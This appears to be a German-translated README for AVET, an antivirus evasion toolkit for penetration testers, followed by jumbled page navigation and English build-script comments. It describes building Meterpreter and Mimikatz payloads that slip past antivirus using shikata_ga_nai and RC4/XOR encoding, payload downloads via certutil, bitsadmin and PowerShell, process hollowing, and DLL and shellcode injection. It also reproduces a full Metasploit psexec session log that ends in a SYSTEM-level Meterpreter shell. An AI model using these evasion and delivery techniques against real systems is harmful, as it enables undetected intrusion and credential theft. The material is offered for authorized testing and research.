AntiVirus Evasion Tool

AVET wird aufgrund technischer Entwicklung und Zeitbeschränkungen nicht weiterentwickelt.

AVET ist ein AntiVirus Evasion Tool, das entwickelt wurde, um Pentestern das Leben zu erleichtern und mit Techniken zur Umgehung von Antivirensoftware sowie anderen Methoden, die von Schadsoftware verwendet werden, zu experimentieren. Eine Übersicht über die neuen Funktionen in v2.4 sowie frühere Versionserweiterungen finden Sie in der CHANGELOG-Datei.

Einige Funktionen

Wenn eine mit msfpayload & co erstellte .exe-Datei ausgeführt wird, wird sie oft von Antivirensoftware erkannt
AVET ist ein Tool zur Umgehung von Antivirensoftware, das auf Windows-Maschinen mit ausführbaren Dateien abzielt
Es können jetzt verschiedene Arten von Eingabe-Payloads verwendet werden: Shellcode, exe und dlls
Weitere Techniken verfügbar: Shellcode/DLL-Injection, Process Hollowing und mehr
Flexible Abrufmethoden für Payload, Entschlüsselungsschlüssel usw.
Verwendung als Dropper
Durch Verkettung mehrerer AVET-Instanzen können bei Bedarf mehrere Umgehungsebenen hinzugefügt werden
Kombination von Techniken: Laden Sie Ihren verschlüsselten Payload über PowerShell herunter, während Sie den Entschlüsselungsschlüssel zur Ausführungszeit über das Befehlszeilenargument bereitstellen, und injizieren Sie Ihren Payload schließlich in einen anderen Prozess, wobei Sie aus mehreren Techniken wählen können
Grundlegende Sandbox-Prüfungen
Generierung gegnerischer Beispiele gegen statische Detektoren, die auf maschinellem Lernen basieren
Führen Sie alle verfügbaren Build-Skripte mit build_script_tester.py aus. Dies könnte auch für Forscher interessant sein, die eine Reihe von "bösartigen" Beispielen mit verschiedenen Umgehungs- und Injektionstechniken erstellen möchten

Wichtiger Hinweis

Nicht alle Techniken umgehen jede AV-Engine. Wenn eine Technik oder ein Build-Skript nicht funktioniert, testen Sie bitte eine andere. Experimentieren Sie ruhig! Immerhin ist dies ein Werkzeugkasten - den Hammer sollten Sie jedoch selbst führen.

Installation

Die Installationsanleitung gilt für Kali 64bit und tdm-gcc!

Sie können das Setup-Skript verwenden:```bash ./setup.sh

Dies sollte Sie automatisch in Gang bringen, indem wine installiert/konfiguriert und tdm-gcc installiert wird.
Sie werden kurz darauf durch die GUI des tdm-gcc-Installers klicken müssen – die Standardeinstellungen sollten in Ordnung sein.
Das Skript wird auch fragen, ob Sie die Abhängigkeiten von AVET installieren möchten, die für die Verwendung einiger Build-Skripte benötigt werden. Die heruntergeladenen Abhängigkeiten werden in separaten Ordnern neben dem avet-Ordner abgelegt.

Die Abhängigkeiten werden die neuesten Versionen von:
- [pe_to_shellcode](https://github.com/hasherezade/pe_to_shellcode)
- [mimikatz](https://github.com/gentilkiwi/mimikatz)
- [DKMC](https://github.com/Mr-Un1k0d3r/DKMC)

Falls Sie aus irgendeinem Grund wine und tdm-gcc manuell installieren möchten:
- [So installieren Sie tdm-gcc mit wine](https://govolution.wordpress.com/2017/02/04/using-tdm-gcc-with-kali-2/)

## Docker

Falls Sie Kali nicht verwenden oder Metasploit nicht auf Ihrem System installieren möchten, können Sie stattdessen den Docker-Container verwenden.
Der Container kapselt Metasploit und avet, und die Beispiele werden in Ihrem aktuellen Verzeichnis erstellt.
Es ist auch möglich, einen grafischen Texteditor wie gedit zu verwenden.

Erstellen des Containers:```bash
sudo docker build -t avet:v0.1 .

Verwendung:```bash sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet:v0.1 /bin/bash

Für eine bessere Erfahrung wird empfohlen, dies zu aliasen.```bash
# In your .bash_profile, .bashrc or .bash_aliases

alias avet='sudo docker run -it --net=host --env="DISPLAY" --volume="$HOME/.Xauthority:/root/.Xauthority:rw" -v $(pwd):/tools/avet/output avet /bin/bash'

AVET der einfache Weg

avet.py ist ein kleines Python-Dienstprogramm, das entwickelt wurde, um Ihnen bei der Verwendung des Tools zu helfen.

Es listet alle Skripte auf, die sich derzeit im Build-Ordner befinden. Nachdem Sie eines ausgewählt haben, können Sie das Skript Zeile für Zeile durchgehen und haben die Möglichkeit, den Inhalt spontan zu ändern.

Letzteres ist besonders nützlich, da Sie jedes Mal, wenn Sie ein Build-Skript über die Fabric ausführen, neue LHOST- und LPORT-Variablen für msfvenom definieren können. Sie können Standard-LHOST- und LPORT-Werte in der Datei /build/global_connect_config.sh definieren, die verwendet werden, wenn Sie sie nicht neu definieren.

Diese Änderungen sind vorübergehend, was bedeutet, dass alle von Ihnen vorgenommenen Änderungen nicht dauerhaft im Build-Skript auf der Festplatte gespeichert werden. Die modifizierte Version wird einmal ausgeführt und Ihr Executable erstellt.

Hier ist ein kurzes Beispiel (Zum Erweitern klicken):

``` python3 avet.py

                   .|        ,       +
         *         | |      ((             *
                   |'|       `    ._____
     +     ___    |  |   *        |.   |' .---"|
   _    .-'   '-. |  |     .--'|  ||   | _|    |
.-'|  _.|  |    ||   '-__  |   |  |    ||      |
|' | |.    |    ||       | |   |  |    ||      |

| '-' ' "" '-' '-.' '` |_ jgs~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Welcome to the avet Assistant!

0 : build_40xshikata_revhttpsunstaged_win32.sh 1 : build_50xshikata_quiet_revhttps_win32.sh 2 : build_50xshikata_revhttps_win32.sh 3 : build_asciimsf_fromcmd_revhttps_win32.sh 4 : build_asciimsf_revhttps_win32.sh 5 : build_avetenc_dynamicfromfile_revhttps_win32.sh 6 : build_avetenc_fopen_revhttps_win32.sh 7 : build_avetenc_mtrprtrxor_revhttps_win64.sh 8 : build_calcfromcmd_50xshikata_revhttps_win32.sh 9 : build_calcfrompowersh_50xshikata_revhttps_win32.sh 10 : build_checkdomain_rc4_mimikatz.sh 11 : build_cpucores_revhttps_win32.sh 12 : build_disablewindefpsh_xorfromcmd_revhttps_win64.sh 13 : build_dkmc_downloadexecshc_revhttps_win32.sh 14 : build_downloadbitsadmin_mtrprtrxor_revhttps_win64.sh 15 : build_downloadbitsadmin_revhttps_win32.sh 16 : build_downloadcertutil_revhttps_win32.sh 17 : build_downloadcurl_mtrprtrxor_revhttps_win64.sh 18 : build_downloadiexplorer_revhttps_win32.sh 19 : build_downloadpsh_revhttps_win32.sh 20 : build_downloadsocket_mtrprtrxor_revhttps_win64.sh 21 : build_downloadsocket_revhttps_win32.sh 22 : build_dynamicfromfile_revhttps_win32.sh 23 : build_fibonacci_rc4_mimikatz.sh 24 : build_fopen_mtrprtrxor_revhttps_win64.sh 25 : build_fopen_quiet_revhttps_win32.sh 26 : build_fopen_revhttps_win32.sh 27 : build_getchar_rc4_mimikatz.sh 28 : build_gethostbyname_revhttps_win32.sh 29 : build_hasvmkey_revhttps_win32.sh 30 : build_hasvmmac_revtcp_win32.sh 31 : build_hollowing_targetfromcmd_doubleenc_doubleev_revhttps_win64.sh 32 : build_hollowing_targetfromcmd_doubleenc_doubleev_revtcp_win32.sh 33 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win32.sh 34 : build_injectdll_targetfromcmd_execcalc_downloadpsh_fopen_gethostbyname_win64.sh 35 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revhttps_win64.sh 36 : build_injectshc_targetfromcmd_fopen_gethostbyname_xor_revtcp_win32.sh 37 : build_kaspersky_fopen_shellrevtcp_win32.sh 38 : build_mimikatz_pe2shc_xorfromcmd_win64.sh 39 : build_pause_rc4_mimikatz.sh 40 : build_rc4_interactive_pwsh_mimikatz_win64.sh 41 : build_rc4_interactive_with_arithmetic_pwsh_mimikatz_win64.sh 42 : build_rc4enc_mimikatz_win64.sh 43 : build_sleep_rc4_mimikatz.sh 44 : build_sleepbyping_rc4_mimikatz.sh 45 : build_timedfibonacci_rc4_mimikatz.sh 46 : buildsvc_20xshikata_bindtcp_win32.sh

#### static_from_here Die Daten werden statisch in die generierte ausführbare Datei kompiliert, aus dem angegebenen Argument im Build-Skript abgerufen. #### dynamic_from_file Die Daten werden zur Laufzeit aus einer Datei gelesen. #### from_command_line_hex Ruft Daten aus einem Hex-String im Format "11aabb22.." ab (von der Kommandozeile). #### from_command_line_raw Ruft Daten aus einem Kommandozeilenargument ab. Der angegebene ASCII-String wird als rohe Byte-Daten interpretiert. #### download_certutil Lädt Daten von einer angegebenen URI herunter, mittels ```certutil.exe -urlcache -split -f```. Legt die heruntergeladene Datei vor dem Lesen der Daten auf der Festplatte ab. #### download_curl Lädt die Daten mit curl herunter. Legt die heruntergeladene Datei vor dem Lesen der Daten auf der Festplatte ab. #### download_internet_explorer Lädt Daten von einer angegebenen URL mit Internet Explorer herunter. Legt die heruntergeladene Datei vor dem Lesen der Daten auf der Festplatte ab. #### download_powershell Lädt Daten von einer angegebenen URI über PowerShell herunter. Legt die heruntergeladene Datei vor dem Lesen der Daten auf der Festplatte ab. #### download_socket Lädt die Daten von einer angegebenen URI über Sockets herunter. Die Daten werden direkt in den Speicher gelesen, es wird keine Datei auf der Festplatte abgelegt. #### download_bitsadmin Lädt die Daten mit dem Windows-Dienstprogramm BITSAdmin herunter. Legt die heruntergeladene Datei vor dem Lesen der Daten auf der Festplatte ab. ### Methoden zur Payload-Ausführung Wie die Payload ausgeführt/ausgeliefert wird. Die Injektions-/Hollowing-Methoden benötigen zusätzliche Informationen über das Injektionsziel, die über ```set_payload_info_source <the_info>``` angegeben werden können (siehe Datenabrufmethoden). #### exec_shellcode Führt 32-Bit-Shellcode mit einer C-Funktionsbindung aus. #### exec_shellcode64 Führt 64-Bit-Shellcode mit einer C-Funktionsbindung und VirtualProtect aus. #### exec_shellcode_ASCIIMSF Führt ASCIIMSF-kodierten Shellcode über ```call eax``` aus. #### hollowing32 Erzeugt einen neuen Prozess, schneidet das ursprüngliche Image aus und höhlt die angegebene Payload in den neuen Prozess ein. Die Payload ist ein 32-Bit-Ausführungsimage. Funktioniert auf 32-Bit-Zielen. #### hollowing64 Gleich wie hollowing32, jedoch mit 64-Bit-PE-Payloads für 64-Bit-Zielprozesse. #### inject_dll Injiziert eine DLL in einen Zielprozess mittels ```CreateRemoteThread```. Die Injektion funktioniert jeweils für 32-Bit-Payloads in 32-Bit-Prozesse und 64-Bit-Payloads in 64-Bit-Prozesse. #### inject_shellcode Injiziert Shellcode in einen Zielprozess mittels ```CreateRemoteThread```. Die Injektion funktioniert jeweils für 32-Bit-Shellcode in 32-Bit-Prozesse und 64-Bit-Shellcode in 64-Bit-Prozesse. ### Verschlüsselung und Kodierung AVET stellt Encoder für jedes Schema bereit, die vor der Kompilierung/Auslieferung auf die Payload angewendet werden können. Bei der Ausführung deobfuskiert der angegebene Decoder dann die Payload zur Laufzeit wieder. Hier ein RC4-Beispiel, bei dem der Entschlüsselungsschlüssel zur Ausführungszeit im Hex-Format von der Kommandozeile abgerufen wird:``` generate_key preset aabbccddee input/key_raw.txt encode_payload rc4 input/shellcode_raw.txt input/shellcode_enc_raw.txt input/key_raw.txt set_key_source from_command_line_hex set_decoder rc4

Und auf der metasploit-Seite:``` msf exploit(psexec) > use exploit/windows/smb/psexec msf exploit(psexec) > set EXE::custom /root/tools/ave/pwn.exe EXE::custom => /root/tools/ave/pwn.exe msf exploit(psexec) > set payload windows/meterpreter/bind_tcp payload => windows/meterpreter/bind_tcp msf exploit(psexec) > set rhost 192.168.116.183 rhost => 192.168.116.183 msf exploit(psexec) > set smbuser dax smbuser => dax msf exploit(psexec) > set smbpass test123 smbpass => test123 msf exploit(psexec) > set lport 8443 lport => 8443 msf exploit(psexec) > run [*] 192.168.116.183:445 - Connecting to the server... [*] Started bind handler [*] 192.168.116.183:445 - Authenticating to 192.168.116.183:445 as user 'dax'... [*] Sending stage (957487 bytes) to 192.168.116.183 [*] 192.168.116.183:445 - Selecting native target [*] 192.168.116.183:445 - Uploading payload... [*] 192.168.116.183:445 - Using custom payload /root/tools/avepoc/a.exe, RHOST and RPORT settings will be ignored! [*] 192.168.116.183:445 - Created \mzrCIOVg.exe... [+] 192.168.116.183:445 - Service started successfully... [*] 192.168.116.183:445 - Deleting \mzrCIOVg.exe... [-] 192.168.116.183:445 - Delete of \mzrCIOVg.exe failed: The server responded with error: STATUS_CANNOT_DELETE (Command=6 WordCount=0) [*] Exploit completed, but no session was created. msf exploit(psexec) > [*] Meterpreter session 4 opened (192.168.116.142:33453 -> 192.168.116.183:8443) at 2017-05-27 18:47:23 +0200 msf exploit(psexec) > sessions Active sessions =============== Id Type Information Connection -- ---- ----------- ---------- 4 meterpreter x86/windows NT-AUTORIT_T\SYSTEM @ DAX-RYMZ48Z3EYO 192.168.116.142:33453 -> 192.168.116.183:8443 (192.168.116.183) msf exploit(psexec) > sessions -i 4 [*] Starting interaction with 4... meterpreter > sysinfo Computer : DAX-RYMZ48Z3EYO OS : Windows XP (Build 2600, Service Pack 3). Architecture : x86 System Language : de_DE Domain : ARBEITSGRUPPE Logged On Users : 2 Meterpreter : x86/windows

Beliebteste

avet

AntiVirus Evasion Tool

AVET wird aufgrund technischer Entwicklung und Zeitbeschränkungen nicht weiterentwickelt.

Inhaltsverzeichnis

Einige Funktionen

Wichtiger Hinweis

Installation

AVET der einfache Weg

RC4-encrypt the payload with a static, preset key.

Here, the mimikatz executable is used as payload, converted into shellcode format by pe_to_shellcode.

pe_to_shellcode is written by Hasherezade:

https://github.com/hasherezade/pe_to_shellcode

This script expects the Mimikatz executable to be at input/mimikatz.exe

and the pe_to_shellcode executable to reside in a folder parallel to avet: ../pe_to_shellcode/pe2shc.exe

enable debug output

generate key file with preset key

The decryption key is aabbccddee if it has not been changed.

You need to provide the decryption key as 2nd command line argument.

Call generated executable on target like:

$ rc4enc_mimikatz_win64.exe [your mimikatz arguments, probably 'coffee'] [decryption key]

Anwendungsbeispiele

Build-Scripts

Dokumentation

Methoden zum Datenabruf

Compiles the command 'calc.exe' statically into the executable, which will then be executed via cmd at sample startup.

Download 64-bit shellcode via powershell, and execute.

Download XOR decryption key into memory. (Server to download from is always specified via first command line argument on execution). Decode the payload.

Retrieves the tuple (target PID, dll path) from command line on execution

static_from_file

sleep

sleep for 3 seconds

Schnelles Vorwärtsspulen prüfen

Benutzername

getchar

fopen

gethostbyname

has_vm_mac

hide_console

Anzahl der Prozesse

Domain

Stops computation after 20 seconds

Hilfsprogramme

data_raw_to_c

generate_key

sh_format

AVET & Metasploit psexec

Designed for use with msf psexec module!

print AVET logo

include script containing the compiler var $win32_compiler

you can edit the compiler in build/global_win32.sh

or enter $win32_compiler="mycompiler" here

import global default lhost and lport values from build/global_connect_config.sh

override connect-back settings here, if necessary

make meterpreter bind payload, encoded 20 rounds with shikata_ga_nai

import feature construction interface

add evasion techniques

generate key file

encode shellcode

array name buf is expected by static_from_file retrieval method

no command preexec

set shellcode source

convert generated key from raw to C into array "key"

set key source

set payload info source

set decoder

set shellcode binding technique

enable debug printing

compile as service

cleanup

Adversarial Examples

Practical Manipulations